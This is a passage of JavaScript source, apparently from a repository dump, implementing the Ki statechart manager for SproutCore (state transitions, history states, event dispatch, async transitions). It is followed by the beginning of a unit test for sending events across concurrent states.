concurrent states), the outcome may be unexpected. For a statechart with concurrent states, it is best\n    to provide a current state in which to start from.\n    \n    When using history states, the statechart will first make transitions to the given state and then use that\n    state's history state and recursively follow each history state's history state until there are no \n    more history states to follow. If the given state does not have a history state, then the statechart\n    will continue following state transition procedures.\n    \n    Method can be called in the following ways:\n    \n    {{{\n    \n      // With one argument. \n      gotoState(<state>)\n      \n      // With two argument.\n      gotoState(<state>, <state | boolean | hash>)\n      \n      // With three argument.\n      gotoState(<state>, <state>, <boolean | hash>)\n      gotoState(<state>, <boolean>, <hash>)\n      \n      // With four argument.\n      gotoState(<state>, <state>, <boolean>, <hash>)\n    \n    }}}\n    \n    where <state> is either a Ki.State object or a string and <hash> is a regular JS hash object.\n    \n    @param state {Ki.State|String} the state to go to (may not be the final state in the transition process)\n    @param fromCurrentState {Ki.State|String} Optional. The current state to start the transition process from.\n    @param useHistory {Boolean} Optional. Indicates whether to include using history states in the transition process\n    @param context {Hash} Optional. A context object that will be passed to all exited and entered states\n  */\n  gotoState: function(state, fromCurrentState, useHistory, context) {\n    \n    if (!this.get('statechartIsInitialized')) {\n      this.statechartLogError(\"can not go to state %@. statechart has not yet been initialized\".fmt(state));\n      return;\n    }\n    \n    if (this.get('isDestroyed')) {\n      this.statechartLogError(\"can not go to state %@. statechart is destroyed\".fmt(this));\n      return;\n    }\n    \n    var args = this._processGotoStateArgs(arguments);\n\n    state = args.state;\n    fromCurrentState = args.fromCurrentState;\n    useHistory = args.useHistory;\n    context = args.context;\n    \n    var pivotState = null,\n        exitStates = [],\n        enterStates = [],\n        trace = this.get('allowTracing'),\n        rootState = this.get('rootState'),\n        paramState = state,\n        paramFromCurrentState = fromCurrentState;\n    \n    state = rootState.getSubstate(state);\n    \n    if (SC.none(state)) {\n      this.statechartLogError(\"Can not to goto state %@. Not a recognized state in statechart\".fmt(paramState));\n      return;\n    }\n    \n    if (this._gotoStateLocked) {\n      // There is a state transition currently happening. Add this requested state\n      // transition to the queue of pending state transitions. The request will\n      // be invoked after the current state transition is finished.\n      this._pendingStateTransitions.push({\n        state: state,\n        fromCurrentState: fromCurrentState,\n        useHistory: useHistory,\n        context: context\n      });\n      \n      return;\n    }\n    \n    // Lock the current state transition so that no other requested state transition \n    // interferes. \n    this._gotoStateLocked = YES;\n    \n    if (!SC.none(fromCurrentState)) {\n      // Check to make sure the current state given is actually a current state of this statechart\n      fromCurrentState = rootState.getSubstate(fromCurrentState);\n      if (SC.none(fromCurrentState) || !fromCurrentState.get('isCurrentState')) {\n        var msg = \"Can not to goto state %@. %@ is not a recognized current state in statechart\";\n        this.statechartLogError(msg.fmt(paramState, paramFromCurrentState));\n        this._gotoStateLocked = NO;\n        return;\n      }\n    } \n    else if (this.getPath('currentStates.length') > 0) {\n      // No explicit current state to start from; therefore, just use the first current state as \n      // a default, if there is a current state.\n      fromCurrentState = this.get('currentStates')[0];\n    }\n        \n    if (trace) {\n      this.statechartLogTrace(\"BEGIN gotoState: %@\".fmt(state));\n      this.statechartLogTrace(\"starting from current state: %@\".fmt(fromCurrentState));\n      this.statechartLogTrace(\"current states before: %@\".fmt(this.get('currentStates')));\n    }\n\n    // If there is a current state to start the transition process from, then determine what\n    // states are to be exited\n    if (!SC.none(fromCurrentState)) {\n      exitStates = this._createStateChain(fromCurrentState);\n    }\n    \n    // Now determine the initial states to be entered\n    enterStates = this._createStateChain(state);\n    \n    // Get the pivot state to indicate when to go from exiting states to entering states\n    pivotState = this._findPivotState(exitStates, enterStates);\n\n    if (pivotState) {\n      if (trace) this.statechartLogTrace(\"pivot state = %@\".fmt(pivotState));\n      if (pivotState.get('substatesAreConcurrent')) {\n        this.statechartLogError(\"Can not go to state %@ from %@. Pivot state %@ has concurrent substates.\".fmt(state, fromCurrentState, pivotState));\n        this._gotoStateLocked = NO;\n        return;\n      }\n    }\n    \n    // Collect what actions to perform for the state transition process\n    var gotoStateActions = [];\n    \n    // Go ahead and find states that are to be exited\n    this._traverseStatesToExit(exitStates.shift(), exitStates, pivotState, gotoStateActions);\n    \n    // Now go find states that are to entered\n    if (pivotState !== state) {\n      this._traverseStatesToEnter(enterStates.pop(), enterStates, pivotState, useHistory, gotoStateActions);\n    } else {\n      this._traverseStatesToExit(pivotState, [], null, gotoStateActions);\n      this._traverseStatesToEnter(pivotState, null, null, useHistory, gotoStateActions);\n    }\n    \n    // Collected all the state transition actions to be performed. Now execute them.\n    this._executeGotoStateActions(state, gotoStateActions, null, context);\n  },\n  \n  /**\n    Indicates if the statechart is in an active goto state process\n  */\n  gotoStateActive: function() {\n    return this._gotoStateLocked;\n  }.property(),\n  \n  /**\n    Indicates if the statechart is in an active goto state process\n    that has been suspended\n  */\n  gotoStateSuspended: function() {\n    return this._gotoStateLocked && !!this._gotoStateSuspendedPoint;\n  }.property(),\n  \n  /**\n    Resumes an active goto state transition process that has been suspended.\n  */\n  resumeGotoState: function() {\n    if (!this.get('gotoStateSuspended')) {\n      this.statechartLogError(\"Can not resume goto state since it has not been suspended\");\n      return;\n    }\n    \n    var point = this._gotoStateSuspendedPoint;\n    this._executeGotoStateActions(point.gotoState, point.actions, point.marker, point.context);\n  },\n  \n  /** @private */\n  _executeGotoStateActions: function(gotoState, actions, marker, context) {\n    var action = null,\n        len = actions.length,\n        actionResult = null;\n      \n    marker = SC.none(marker) ? 0 : marker;\n    \n    for (; marker < len; marker += 1) {\n      action = actions[marker];\n      switch (action.action) {\n        case Ki.EXIT_STATE:\n          actionResult = this._exitState(action.state, context);\n          break;\n          \n        case Ki.ENTER_STATE:\n          actionResult = this._enterState(action.state, action.currentState, context);\n          break;\n      }\n      \n      //\n      // Check if the state wants to perform an asynchronous action during\n      // the state transition process. If so, then we need to first\n      // suspend the state transition process and then invoke the \n      // asynchronous action. Once called, it is then up to the state or something \n      // else to resume this statechart's state transition process by calling the\n      // statechart's resumeGotoState method.\n      //\n      if (SC.kindOf(actionResult, Ki.Async)) {\n        this._gotoStateSuspendedPoint = {\n          gotoState: gotoState,\n          actions: actions,\n          marker: marker + 1,\n          context: context\n        }; \n        \n        actionResult.tryToPerform(action.state);\n        return;\n      }\n    }\n    \n    this.notifyPropertyChange('currentStates');\n    \n    if (this.get('allowTracing')) {\n      this.statechartLogTrace(\"current states after: %@\".fmt(this.get('currentStates')));\n      this.statechartLogTrace(\"END gotoState: %@\".fmt(gotoState));\n    }\n    \n    // Okay. We're done with the current state transition. Make sure to unlock the\n    // gotoState and let other pending state transitions execute.\n    this._gotoStateSuspendedPoint = null;\n    this._gotoStateLocked = NO;\n    this._flushPendingStateTransition();\n  },\n  \n  /** @private */\n  _exitState: function(state, context) {\n    if (state.get('currentSubstates').indexOf(state) >= 0) {  \n      var parentState = state.get('parentState');\n      while (parentState) {\n        parentState.get('currentSubstates').removeObject(state);\n        parentState = parentState.get('parentState');\n      }\n    }\n      \n    if (this.get('allowTracing')) this.statechartLogTrace(\"exiting state: %@\".fmt(state));\n    \n    state.set('currentSubstates', []);\n    state.notifyPropertyChange('isCurrentState');\n    var result = this.exitState(state, context);\n    \n    if (this.get('monitorIsActive')) this.get('monitor').pushExitedState(state);\n    \n    state._traverseStatesToExit_skipState = NO;\n    \n    return result;\n  },\n  \n  /**\n    What will actually invoke a state's exitState method.\n  \n    Called during the state transition process whenever the gotoState method is\n    invoked.\n    \n    @param state {Ki.State} the state whose enterState method is to be invoked\n    @param context {Hash} a context hash object to provide the enterState method\n  */\n  exitState: function(state, context) {\n    return state.exitState(context);\n  },\n  \n  /** @private */\n  _enterState: function(state, current, context) {\n    var parentState = state.get('parentState');\n    if (parentState && !state.get('isConcurrentState')) parentState.set('historyState', state);\n    \n    if (current) {\n      parentState = state;\n      while (parentState) {\n        parentState.get('currentSubstates').push(state);\n        parentState = parentState.get('parentState');\n      }\n    }\n    \n    if (this.get('allowTracing')) this.statechartLogTrace(\"entering state: %@\".fmt(state));\n    \n    state.notifyPropertyChange('isCurrentState');\n    var result = this.enterState(state, context);\n    \n    if (this.get('monitorIsActive')) this.get('monitor').pushEnteredState(state);\n    \n    return result;\n  },\n  \n  /**\n    What will actually invoke a state's enterState method.\n  \n    Called during the state transition process whenever the gotoState method is\n    invoked.\n    \n    @param state {Ki.State} the state whose enterState method is to be invoked\n    @param context {Hash} a context hash object to provide the enterState method\n  */\n  enterState: function(state, context) {\n    return state.enterState(context);\n  },\n  \n  /**\n    When called, the statechart will proceed to make transitions to the given state then follow that\n    state's history state. \n    \n    You can either go to a given state's history recursively or non-recursively. To go to a state's history\n    recursively means to following each history state's history state until no more history states can be\n    followed. Non-recursively means to just to the given state's history state but do not recusively follow\n    history states. If the given state does not have a history state, then the statechart will just follow\n    normal procedures when making state transitions.\n    \n    Because a statechart can have one or more current states, depending on if the statechart has any concurrent\n    states, it is optional to provided current state in which to start the state transition process from. If no\n    current state is provided, then the statechart will default to the first current state that it has; which, \n    depending on the make up of that statechart, can lead to unexpected outcomes. For a statechart with concurrent\n    states, it is best to explicitly supply a current state.\n    \n    Method can be called in the following ways:\n    \n    {{{\n    \n      // With one arguments. \n      gotoHistorytate(<state>)\n      \n      // With two arguments. \n      gotoHistorytate(<state>, <state | boolean | hash>)\n      \n      // With three arguments.\n      gotoHistorytate(<state>, <state>, <boolean | hash>)\n      gotoHistorytate(<state>, <boolean>, <hash>)\n      \n      // With four argumetns\n      gotoHistorytate(<state>, <state>, <boolean>, <hash>)\n    \n    }}}\n    \n    where <state> is either a Ki.State object or a string and <hash> is a regular JS hash object.\n    \n    @param state {Ki.State|String} the state to go to and follow it's history state\n    @param fromCurrentState {Ki.State|String} Optional. the current state to start the state transition process from\n    @param recursive {Boolean} Optional. whether to follow history states recursively.\n  */\n  gotoHistoryState: function(state, fromCurrentState, recursive, context) {\n    if (!this.get('statechartIsInitialized')) {\n      this.statechartLogError(\"can not go to state %@'s history state. Statechart has not yet been initialized\".fmt(state));\n      return;\n    }\n    \n    var args = this._processGotoStateArgs(arguments);\n    \n    state = args.state;\n    fromCurrentState = args.fromCurrentState;\n    recursive = args.useHistory;\n    context = args.context;\n    \n    state = this.getState(state);\n  \n    if (!state) {\n      this.statechartLogError(\"Can not to goto state %@'s history state. Not a recognized state in statechart\".fmt(state));\n      return;\n    }\n    \n    var historyState = state.get('historyState');\n    \n    if (!recursive) { \n      if (historyState) {\n        this.gotoState(historyState, fromCurrentState, context);\n      } else {\n        this.gotoState(state, fromCurrentState, context);\n      }\n    } else {\n      this.gotoState(state, fromCurrentState, YES, context);\n    }\n  },\n  \n  /**\n    Sends a given event to all the statechart's current states.\n    \n    If a current state does can not respond to the sent event, then the current state's parent state\n    will be tried. This process is recursively done until no more parent state can be tried.\n    \n    @param event {String} name of the event\n    @param arg1 {Object} optional argument\n    @param arg2 {Object} optional argument\n    @returns {SC.Responder} the responder that handled it or null\n  */\n  sendEvent: function(event, arg1, arg2) {\n    \n    if (this.get('isDestroyed')) {\n      this.statechartLogError(\"can send event %@. statechart is destroyed\".fmt(event));\n      return;\n    }\n    \n    var statechartHandledEvent = NO,\n        eventHandled = NO,\n        currentStates = this.get('currentStates').slice(),\n        len = 0,\n        i = 0,\n        state = null,\n        trace = this.get('allowTracing');\n    \n    if (this._sendEventLocked || this._goStateLocked) {\n      // Want to prevent any actions from being processed by the states until \n      // they have had a chance to handle the most immediate action or completed \n      // a state transition\n      this._pendingSentEvents.push({\n        event: event,\n        arg1: arg1,\n        arg2: arg2\n      });\n\n      return;\n    }\n    \n    this._sendEventLocked = YES;\n    \n    if (trace) {\n      this.statechartLogTrace(\"BEGIN sendEvent: event<%@>\".fmt(event));\n    }\n    \n    len = currentStates.get('length');\n    for (; i < len; i += 1) {\n      eventHandled = NO;\n      state = currentStates[i];\n      if (!state.get('isCurrentState')) continue;\n      while (!eventHandled && state) {\n        eventHandled = state.tryToHandleEvent(event, arg1, arg2);\n        if (!eventHandled) state = state.get('parentState');\n        else statechartHandledEvent = YES;\n      }\n    }\n    \n    // Now that all the states have had a chance to process the \n    // first event, we can go ahead and flush any pending sent events.\n    this._sendEventLocked = NO;\n    \n    if (trace) {\n      if (!statechartHandledEvent) this.statechartLogTrace(\"No state was able handle event %@\".fmt(event));\n      this.statechartLogTrace(\"END sendEvent: event<%@>\".fmt(event));\n    }\n    \n    var result = this._flushPendingSentEvents();\n    \n    return statechartHandledEvent ? this : (result ? this : null);\n  },\n\n  /** @private\n  \n    Creates a chain of states from the given state to the greatest ancestor state (the root state). Used\n    when perform state transitions.\n  */\n  _createStateChain: function(state) {\n    var chain = [];\n    \n    while (state) {\n      chain.push(state);\n      state = state.get('parentState');\n    }\n    \n    return chain;\n  },\n  \n  /** @private\n  \n    Finds a pivot state from two given state chains. The pivot state is the state indicating when states\n    go from being exited to states being entered during the state transition process. The value \n    returned is the fist matching state between the two given state chains. \n  */\n  _findPivotState: function(stateChain1, stateChain2) {\n    if (stateChain1.length === 0 || stateChain2.length === 0) return null;\n    \n    var pivot = stateChain1.find(function(state, index) {\n      if (stateChain2.indexOf(state) >= 0) return YES;\n    });\n    \n    return pivot;\n  },\n  \n  /** @private\n    \n    Recursively follow states that are to be exited during a state transition process. The exit\n    process is to start from the given state and work its way up to when either all exit\n    states have been reached based on a given exit path or when a stop state has been reached.\n    \n    @param state {State} the state to be exited\n    @param exitStatePath {Array} an array representing a path of states that are to be exited\n    @param stopState {State} an explicit state in which to stop the exiting process\n  */\n  _traverseStatesToExit: function(state, exitStatePath, stopState, gotoStateActions) {    \n    if (!state || state === stopState) return;\n    \n    var trace = this.get('allowTracing');\n    \n    // This state has concurrent substates. Therefore we have to make sure we\n    // exit them up to this state before we can go any further up the exit chain.\n    if (state.get('substatesAreConcurrent')) {\n      var i = 0,\n          currentSubstates = state.get('currentSubstates'),\n          len = currentSubstates.length,\n          currentState = null;\n      \n      for (; i < len; i += 1) {\n        currentState = currentSubstates[i];\n        if (currentState._traverseStatesToExit_skipState === YES) continue;\n        var chain = this._createStateChain(currentState);\n        this._traverseStatesToExit(chain.shift(), chain, state, gotoStateActions);\n      }\n    }\n    \n    gotoStateActions.push({ action: Ki.EXIT_STATE, state: state });\n    if (state.get('isCurrentState')) state._traverseStatesToExit_skipState = YES;\n    this._traverseStatesToExit(exitStatePath.shift(), exitStatePath, stopState, gotoStateActions);\n  },\n  \n  /** @private\n  \n    Recursively follow states that are to be entred during the state transition process. The\n    enter process is to start from the given state and work its way down a given enter path. When\n    the end of enter path has been reached, then continue entering states based on whether \n    an initial substate is defined, there are concurrent substates or history states are to be\n    followed; when none of those condition are met then the enter process is done.\n    \n    @param state {State} the sate to be entered\n    @param enterStatePath {Array} an array representing an initial path of states that are to be entered\n    @param pivotState {State} The state pivoting when to go from exiting states to entering states\n    @param useHistory {Boolean} indicates whether to recursively follow history states \n  */\n  _traverseStatesToEnter: function(state, enterStatePath, pivotState, useHistory, gotoStateActions) {\n    if (!state) return;\n    \n    var trace = this.get('allowTracing');\n    \n    // We do not want to enter states in the enter path until the pivot state has been reached. After\n    // the pivot state has been reached, then we can go ahead and actually enter states.\n    if (pivotState) {\n      if (state !== pivotState) {\n        this._traverseStatesToEnter(enterStatePath.pop(), enterStatePath, pivotState, useHistory, gotoStateActions);\n      } else {\n        this._traverseStatesToEnter(enterStatePath.pop(), enterStatePath, null, useHistory, gotoStateActions);\n      }\n    }\n    \n    // If no more explicit enter path instructions, then default to enter states based on \n    // other criteria\n    else if (!enterStatePath || enterStatePath.length === 0) {\n      var gotoStateAction = { action: Ki.ENTER_STATE, state: state, currentState: NO };\n      gotoStateActions.push(gotoStateAction);\n      \n      var initialSubstate = state.get('initialSubstate'),\n          historyState = state.get('historyState');\n      \n      // State has concurrent substates. Need to enter all of the substates\n      if (state.get('substatesAreConcurrent')) {\n        this._traverseConcurrentStatesToEnter(state.get('substates'), null, useHistory, gotoStateActions);\n      }\n      \n      // State has substates and we are instructed to recursively follow the state's\n      // history state if it has one.\n      else if (state.get('hasSubstates') && historyState && useHistory) {\n        this._traverseStatesToEnter(historyState, null, null, useHistory, gotoStateActions);\n      }\n      \n      // State has an initial substate to enter\n      else if (initialSubstate) {\n        if (SC.kindOf(initialSubstate, Ki.HistoryState)) {\n          if (!useHistory) useHistory = initialSubstate.get('isRecursive');\n          initialSubstate = initialSubstate.get('state');\n        }\n        this._traverseStatesToEnter(initialSubstate, null, null, useHistory, gotoStateActions);  \n      } \n      \n      // Looks like we hit the end of the road. Therefore the state has now become\n      // a current state of the statechart.\n      else {\n        gotoStateAction.currentState = YES;\n      }\n    }\n    \n    // Still have an explicit enter path to follow, so keep moving through the path.\n    else if (enterStatePath.length > 0) {\n      gotoStateActions.push({ action: Ki.ENTER_STATE, state: state });\n      var nextState = enterStatePath.pop();\n      this._traverseStatesToEnter(nextState, enterStatePath, null, useHistory, gotoStateActions); \n      \n      // We hit a state that has concurrent substates. Must go through each of the substates\n      // and enter them\n      if (state.get('substatesAreConcurrent')) {\n        this._traverseConcurrentStatesToEnter(state.get('substates'), nextState, useHistory, gotoStateActions);\n      }\n    }\n  },\n  \n  /** @override\n  \n    Returns YES if the named value translates into an executable function on\n    any of the statechart's current states or the statechart itself.\n    \n    @param event {String} the property name to check\n    @returns {Boolean}\n  */\n  respondsTo: function(event) {\n    var currentStates = this.get('currentStates'),\n        len = currentStates.get('length'), \n        i = 0, state = null;\n        \n    for (; i < len; i += 1) {\n      state = currentStates.objectAt(i);\n      while (state) {\n        if (state.respondsToEvent(event)) return true;\n        state = state.get('parentState');\n      }\n    }\n    \n    // None of the current states can respond. Now check the statechart itself\n    return SC.typeOf(this[event]) === SC.T_FUNCTION;   \n  },\n  \n  /** @override\n  \n    Attemps to handle a given event against any of the statechart's current states and the\n    statechart itself. If any current state can handle the event or the statechart itself can\n    handle the event then YES is returned, otherwise NO is returned.\n  \n    @param event {String} what to perform\n    @param arg1 {Object} Optional\n    @param arg2 {Object} Optional\n    @returns {Boolean} YES if handled, NO if not handled\n  */\n  tryToPerform: function(event, arg1, arg2) {\n    if (this.respondsTo(event)) {\n      if (SC.typeOf(this[event]) === SC.T_FUNCTION) return (this[event](arg1, arg2) !== NO);\n      else return !!this.sendEvent(event, arg1, arg2);\n    } return NO;\n  },\n  \n  /**\n    Used to invoke a method on current states. If the method can not be executed\n    on a current state, then the state's parent states will be tried in order\n    of closest ancestry.\n    \n    A few notes: \n    \n      1) Calling this is not the same as calling sendEvent or sendAction.\n         Rather, this should be seen as calling normal methods on a state that \n         will *not* call gotoState or gotoHistoryState. \n      \n      2) A state will only ever be invoked once per call. So if there are two \n         or more current states that have the same parent state, then that parent \n         state will only be invoked once if none of the current states are able\n         to invoke the given method.\n    \n    When calling this method, you are able to supply zero ore more arguments\n    that can be pass onto the method called on the states. As an example\n    \n    {{{\n    \n      invokeStateMethod('render', context, firstTime);\n    \n    }}}\n    \n    The above call will invoke the render method on the current states\n    and supply the context and firstTime arguments to the method. \n    \n    Because a statechart can have more than one current state and the method \n    invoked may return a value, the addition of a callback function may be provided \n    in order to handle the returned value for each state. As an example, let's say\n    we want to call a calculate method on the current states where the method\n    will return a value when invoked. We can handle the returned values like so:\n    \n    {{{\n    \n      invokeStateMethod('calculate', value, function(state, result) {\n        // .. handle the result returned from calculate that was invoked\n        //    on the given state\n      })\n    \n    }}}\n    \n    If the method invoked does not return a value and a callback function is\n    supplied, then result value will simply be undefined. In all cases, if\n    a callback function is given, it must be the last value supplied to this\n    method.\n    \n    invokeStateMethod will return a value if only one state was able to have \n    the given method invoked on it, otherwise no value is returned. \n    \n    @param methodName {String} methodName a method name\n    @param args {Object...} Optional. any additional arguments\n    @param func {Function} Optional. a callback function. Must be the last\n           value supplied if provided.\n           \n    @returns a value if the number of current states is one, otherwise undefined\n             is returned. The value is the result of the method that got invoked\n             on a state.\n  */\n  invokeStateMethod: function(methodName, args, func) {\n    if (methodName === 'unknownEvent') {\n      this.statechartLogError(\"can not invoke method unkownEvent\");\n      return;\n    }\n    \n    args = SC.A(arguments); args.shift();\n    \n    var len = args.length, \n        arg = len > 0 ? args[len - 1] : null,\n        callback = SC.typeOf(arg) === SC.T_FUNCTION ? args.pop() : null,\n        currentStates = this.get('currentStates'), \n        i = 0, state = null, checkedStates = {},\n        method, result = undefined, calledStates = 0;\n        \n    len = currentStates.get('length');\n    \n    for (; i < len; i += 1) {\n      state = currentStates.objectAt(i);\n      while (state) {\n        if (checkedStates[state.get('fullPath')]) break;\n        checkedStates[state.get('fullPath')] = YES;\n        method = state[methodName];\n        if (SC.typeOf(method) === SC.T_FUNCTION && !method.isEventHandler) {\n          result = method.apply(state, args);\n          if (callback) callback.call(this, state, result);\n          calledStates += 1;  \n          break;\n        }\n        state = state.get('parentState');\n      }\n    }\n    \n    return calledStates === 1 ? result : undefined;\n  },\n  \n  /** @private\n  \n    Iterate over all the given concurrent states and enter them\n  */\n  _traverseConcurrentStatesToEnter: function(states, exclude, useHistory, gotoStateActions) {\n    var i = 0,\n        len = states.length,\n        state = null;\n    \n    for (; i < len; i += 1) {\n      state = states[i];\n      if (state !== exclude) this._traverseStatesToEnter(state, null, null, useHistory, gotoStateActions);\n    }\n  },\n  \n  /** @private\n  \n    Called by gotoState to flush a pending state transition at the front of the \n    pending queue.\n  */\n  _flushPendingStateTransition: function() {\n    if (!this._pendingStateTransitions) {\n      this.statechartLogError(\"Unable to flush pending state transition. _pendingStateTransitions is invalid\");\n      return;\n    }\n    var pending = this._pendingStateTransitions.shift();\n    if (!pending) return;\n    this.gotoState(pending.state, pending.fromCurrentState, pending.useHistory, pending.context);\n  },\n  \n  /** @private\n\n     Called by sendEvent to flush a pending actions at the front of the pending\n     queue\n   */\n  _flushPendingSentEvents: function() {\n    var pending = this._pendingSentEvents.shift();\n    if (!pending) return null;\n    return this.sendEvent(pending.event, pending.arg1, pending.arg2);\n  },\n  \n  /** @private */\n  _monitorIsActiveDidChange: function() {\n    if (this.get('monitorIsActive') && SC.none(this.get('monitor'))) {\n      this.set('monitor', Ki.StatechartMonitor.create());\n    }\n  }.observes('monitorIsActive'),\n  \n  /** @private \n    Will process the arguments supplied to the gotoState method.\n    \n    TODO: Come back to this and refactor the code. It works, but it\n          could certainly be improved\n  */\n  _processGotoStateArgs: function(args) {\n    var processedArgs = { \n          state: null, \n          fromCurrentState: null, \n          useHistory: false, \n          context: null \n        },\n        len = null,\n        value = null;\n        \n    args = SC.$A(args);\n    args = args.filter(function(item) {\n      return !(item === undefined); \n    });\n    len = args.length;\n    \n    if (len < 1) return processedArgs;\n    \n    processedArgs.state = args[0];\n    \n    if (len === 2) {\n      value = args[1];\n      switch (SC.typeOf(value)) {\n      case SC.T_BOOL: \n        processedArgs.useHistory = value;\n        break;\n      case SC.T_HASH:\n        processedArgs.context = value;\n        break;\n      default:\n        processedArgs.fromCurrentState = value;\n      }\n    }\n    else if (len === 3) {\n      value = args[1];\n      if (SC.typeOf(value) === SC.T_BOOL) {\n        processedArgs.useHistory = value;\n        processedArgs.context = args[2];\n      } else {\n        processedArgs.fromCurrentState = value;\n        value = args[2];\n        if (SC.typeOf(value) === SC.T_BOOL) {\n          processedArgs.useHistory = value;\n        } else {\n          processedArgs.context = value;\n        }\n      }\n    }\n    else {\n      processedArgs.fromCurrentState = args[1];\n      processedArgs.useHistory = args[2];\n      processedArgs.context = args[3];\n    }\n    \n    return processedArgs;\n  },\n  \n  /** @private \n  \n    Will return a newly constructed root state class. The root state will have substates added to\n    it based on properties found on this state that derive from a Ki.State class. For the\n    root state to be successfully built, the following much be met:\n    \n      - The rootStateExample property must be defined with a class that derives from Ki.State\n      - Either the initialState or statesAreConcurrent property must be set, but not both\n      - There must be one or more states that can be added to the root state\n      \n  */\n  _constructRootStateClass: function() {\n    var rsExampleKey = 'rootStateExample',\n        rsExample = this.get(rsExampleKey),\n        initialState = this.get('initialState'),\n        statesAreConcurrent = this.get('statesAreConcurrent'),\n        stateCount = 0,\n        key, value, valueIsFunc, attrs = {};\n    \n    if (SC.typeOf(rsExample) === SC.T_FUNCTION && rsExample.statePlugin) {\n      rsExample = rsExample.apply(this);\n    }\n\n    if (!(SC.kindOf(rsExample, Ki.State) && rsExample.isClass)) {\n      this._logStatechartCreationError(\"Invalid root state example\");\n      return null;\n    }\n    \n    if (statesAreConcurrent && !SC.empty(initialState)) {\n      this._logStatechartCreationError(\"Can not assign an initial state when states are concurrent\");\n    } else if (statesAreConcurrent) {\n      attrs.substatesAreConcurrent = YES;\n    } else if (SC.typeOf(initialState) === SC.T_STRING) {\n      attrs.initialSubstate = initialState;\n    } else {\n      this._logStatechartCreationError(\"Must either define initial state or assign states as concurrent\");\n      return null;\n    }\n    \n    for (key in this) {\n      if (key === rsExampleKey) continue;\n      \n      value = this[key];\n      valueIsFunc = SC.typeOf(value) === SC.T_FUNCTION;\n      \n      if (valueIsFunc && value.statePlugin) {\n        value = value.apply(this);\n      }\n      \n      if (SC.kindOf(value, Ki.State) && value.isClass && this[key] !== this.constructor) {\n        attrs[key] = value;\n        stateCount += 1;\n      }\n    }\n    \n    if (stateCount === 0) {\n      this._logStatechartCreationError(\"Must define one or more states\");\n      return null;\n    }\n    \n    return rsExample.extend(attrs);\n  },\n  \n  /** @private */\n  _logStatechartCreationError: function(msg) {\n    SC.Logger.error(\"Unable to create statechart for %@: %@.\".fmt(this, msg));\n  },\n  \n  /** \n    Used to log a statechart trace message\n  */\n  statechartLogTrace: function(msg) {\n    SC.Logger.info(\"%@: %@\".fmt(this.get('statechartLogPrefix'), msg));\n  },\n  \n  /**\n    Used to log a statechart error message\n  */\n  statechartLogError: function(msg) {\n    SC.Logger.error(\"ERROR %@: %@\".fmt(this.get('statechartLogPrefix'), msg));\n  },\n  \n  /** \n    Used to log a statechart warning message\n  */\n  statechartLogWarning: function(msg) {\n    if (this.get('suppressStatechartWarnings')) return;\n    SC.Logger.warn(\"WARN %@: %@\".fmt(this.get('statechartLogPrefix'), msg));\n  },\n  \n  /** @property */\n  statechartLogPrefix: function() {\n    var className = SC._object_className(this.constructor),\n        name = this.get('name'), prefix;\n        \n    if (SC.empty(name)) prefix = \"%@<%@>\".fmt(className, SC.guidFor(this));\n    else prefix = \"%@<%@, %@>\".fmt(className, name, SC.guidFor(this));\n    \n    return prefix;\n  }.property().cacheable(),\n\n  /** @private @property */\n  allowTracing: function() {\n    var key = this.get('statechartTraceKey');\n    return this.get(key);\n  }.property().cacheable(),\n\n  /** @private */\n  _statechartTraceDidChange: function() {\n    this.notifyPropertyChange('allowTracing');\n  }\n  \n};\n\n/** \n  The default name given to a statechart's root state\n*/\nKi.ROOT_STATE_NAME = \"__ROOT_STATE__\";\n\n/**\n  Constants used during the state transition process\n*/\nKi.EXIT_STATE = 0;\nKi.ENTER_STATE = 1;\n\n/**\n  A Startchart class. \n*/\nKi.Statechart = SC.Object.extend(Ki.StatechartManager, {\n  autoInitStatechart: NO\n});\n\nKi.Statechart.design = Ki.Statechart.extend;\n\n/**\n  Represents a call that is intended to be asynchronous. This is\n  used during a state transition process when either entering or\n  exiting a state.\n*/\nKi.Async = SC.Object.extend({\n  \n  func: null,\n  \n  arg1: null,\n  \n  arg2: null,\n  \n  /** @private\n    Called by the statechart\n  */\n  tryToPerform: function(state) {\n    var func = this.get('func'),\n        arg1 = this.get('arg1'),\n        arg2 = this.get('arg2'),\n        funcType = SC.typeOf(func);\n      \n    if (funcType === SC.T_STRING) {\n      state.tryToPerform(func, arg1, arg2);\n    } \n    else if (funcType === SC.T_FUNCTION) {\n      func.apply(state, [arg1, arg2]);\n    }\n  }\n  \n});\n\n/**\n  Singleton\n*/\nKi.Async.mixin({\n  \n  /**\n    Call in either a state's enterState or exitState method when you\n    want a state to perform an asynchronous action, such as an animation.\n    \n    Examples:\n    \n    {{\n    \n      Ki.State.extend({\n    \n        enterState: function() {\n          return Ki.Async.perform('foo');\n        },\n      \n        exitState: function() {\n          return Ki.Async.perform('bar', 100);\n        }\n      \n        foo: function() { ... },\n      \n        bar: function(arg) { ... }\n    \n      });\n    \n    }}\n    \n    @param func {String|Function} the functio to be invoked on a state\n    @param arg1 Optional. An argument to pass to the given function\n    @param arg2 Optional. An argument to pass to the given function\n    @return {Ki.Async} a new instance of a Ki.Async\n  */\n  perform: function(func, arg1, arg2) {\n    return Ki.Async.create({ func: func, arg1: arg1, arg2: arg2 });\n  }\n  \n});", "frameworks/foundation/tests/event_handling/basic/with_concurrent_states.js": "// ==========================================================================\n// Ki.Statechart Unit Test\n// ==========================================================================\n/*globals Ki */\n\nvar statechart = null;\n\n// ..........................................................\n// CONTENT CHANGING\n// \n\nmodule(\"Ki.Statechart: With Concurrent States - Send Event Tests\", {\n  setup: function() {\n\n    statechart = Ki.Statechart.create({\n      \n      monitorIsActive: YES,\n      \n      rootState: Ki.State.design({\n        \n        initialSubstate: 'x',\n        \n        x: Ki.State.design({\n          \n          substatesAreConcurrent: YES,\n          \n          a: Ki.State.design({\n\n            initialSubstate: 'c',\n\n            eventAInvoked: NO,\n\n            eventA: function() { this.set('eventAInvoked', YES); },\n\n            c: Ki.State.design({\n              eventB: function() { this.gotoState('d'); },\n              eventD: function() { this.gotoState('y'); }\n            }),\n\n            d: Ki.State.design({\n              eventC: function() { this.gotoState('c'); }\n            })\n\n          }),\n\n          b: Ki.State.design({\n\n            initialSubstate: 'e',\n\n            eventAInvoked: NO,\n\n            eventA: function() { this.set('eventAInvoked', YES); },\n\n            e: Ki.State.design({\n              eventB: function() { this.gotoState('f'); },\n              eventD: function() { this.gotoState('y'); }\n            }),\n\n            f: Ki.State.design({\n              eventC: function() { this.gotoState('e'); }\n            })\n\n          })\n          \n        }),\n        \n        y: Ki.State.design()\n        \n      })\n      \n    });\n    \n    statechart.initStatechart();\n  },\n  \n  teardown: function() {\n    statechart.destroy();\n    statechart = null;\n  